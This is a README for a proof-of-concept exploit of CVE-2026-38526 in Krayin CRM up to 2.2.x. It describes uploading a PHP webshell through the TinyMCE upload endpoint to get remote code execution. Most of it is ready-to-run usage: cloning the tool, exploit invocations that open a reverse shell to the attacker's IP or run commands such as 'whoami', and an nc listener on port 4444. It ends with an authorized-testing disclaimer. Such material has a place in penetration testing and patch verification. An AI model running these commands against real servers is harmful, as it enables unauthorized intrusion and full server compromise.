
Proof of Concept of CVE-2026-38526 in Krayin CRM <= v2.2.x. Arbitrary File Upload leading to Remote Code Execution
Krayin CRM (≤ 2.2.x) - Unrestricted File Upload leading to Remote Code Execution.
This PoC exploits the vulnerable TinyMCE upload endpoint (/admin/tinymce/upload) to upload a PHP webshell and achieve command execution on the server.
git clone https://github.com/pawpic/CVE-2026-38526-POC
pip3 install requests beautifulsoup4
Usage
python3 exploit.py \
-u http://example.com \
-e [email protected] \
-p "example_pass" \
--lhost YOUR_IP \
--lport 4444
python3 exploit.py \
-u http://example.com \
-e [email protected] \
-p "example_pass" \
-c "whoami"
Start listener:
nc -lvnp 4444
Run the exploit:
python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR
This exploit is intended for educational purposes and authorized penetration testing only. Unauthorized use against systems you do not have explicit permission to test is illegal.
Affected Versions
Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526
Author: pawpic Date: 2026
| Argument | Description | Required |
|---|
| -u, --url | Target base URL | Yes |
| -e, --email | Login email | Yes |
| -p, --password | Login password | Yes |
| -c, --cmd | Execute single command | No |
| --lhost | Your IP for reverse shell | Yes (if not using --cmd) |
| --lport | Listening port | No (default: 4444) |